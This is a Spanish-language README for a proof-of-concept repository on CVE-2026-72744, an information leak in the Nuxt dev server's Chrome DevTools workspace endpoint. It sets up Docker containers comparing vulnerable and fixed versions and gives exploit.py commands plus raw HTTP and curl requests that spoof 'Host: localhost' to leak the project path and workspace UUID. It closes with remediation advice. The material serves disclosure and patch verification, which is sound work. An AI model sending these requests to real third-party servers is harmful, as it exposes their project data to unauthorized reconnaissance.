
Prueba de concepto de exploit para CVE-2026-72744, una vulnerabilidad de divulgación de información en el endpoint del espacio de trabajo de Chrome DevTools del servidor de desarrollo de Nuxt. Demuestra la falla y verifica la corrección.
Este repositorio es una Prueba de Concepto (PoC) de la vulnerabilidad de fuga de información CVE-2026-72744 presente en el endpoint del workspace de Chrome DevTools del servidor de desarrollo de Nuxt.
El servidor de desarrollo vulnerable determina si el origen de la conexión es local basándose en cabeceras HTTP como Host, que el atacante puede especificar, en lugar de la dirección TCP peer. Si el servidor de desarrollo está vinculado a 0.0.0.0, un atacante no autenticado en la LAN puede obtener la ruta absoluta del proyecto y un UUID de workspace persistente mediante una solicitud con la cabecera Host: localhost.
Esta PoC inicia Nuxt 4.5.0 (versión vulnerable) y 4.5.1 (versión corregida) en Docker y envía la misma solicitud desde el host para confirmar la diferencia de comportamiento. No realiza lectura/escritura de archivos ni ejecución de código.
Utilícelo únicamente con fines educativos y para verificaciones de seguridad autorizadas. No envíe solicitudes no autorizadas a entornos de terceros.
>= 4.4.7, < 4.5.1 y >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettings habilitado por defectorootDir y del UUID del workspace específico del proyectoEn la versión vulnerable, isLocalDevRequest trata una solicitud como local si Host está en la lista de permitidos y no hay cabeceras de sitio cruzado provenientes del navegador. Como los clientes que no son navegadores pueden omitir o especificar libremente estas cabeceras, la siguiente solicitud supera la verificación.
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
La versión corregida, además de la verificación de cabeceras existente, exige que la dirección TCP peer real sea de bucle local (127.0.0.0/8 o ::1).
docker compose up -d --build
| URL | Versión | Resultado esperado |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200, fuga de información |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
La primera compilación puede tardar unos minutos en obtener los paquetes npm.
python3 exploit.py -t http://localhost:3000 --expect vulnerable
Salida esperada:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
Salida esperada:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Dado que la solicitud pasa por el reenvío de puertos de Docker, el origen visto desde el contenedor no es de bucle local. Esto permite reproducir en un solo host las condiciones equivalentes a un ataque desde la LAN.
docker compose down -v
exploit.py especifica Host: localhost y accede al endpoint objetivo sin enviar Origin, Referer ni Sec-Fetch-Site. Solo se considera vulnerable si el JSON con HTTP 200 contiene las cadenas workspace.root y workspace.uuid. HTTP 403 es el comportamiento esperado en la versión corregida.
Actualice Nuxt a 4.5.1 o posterior en la serie 4, y a 3.21.10 o posterior en la serie 3. Si no puede actualizar, vincule el servidor de desarrollo solo a loopback o establezca experimental.chromeDevtoolsProjectSettings: false.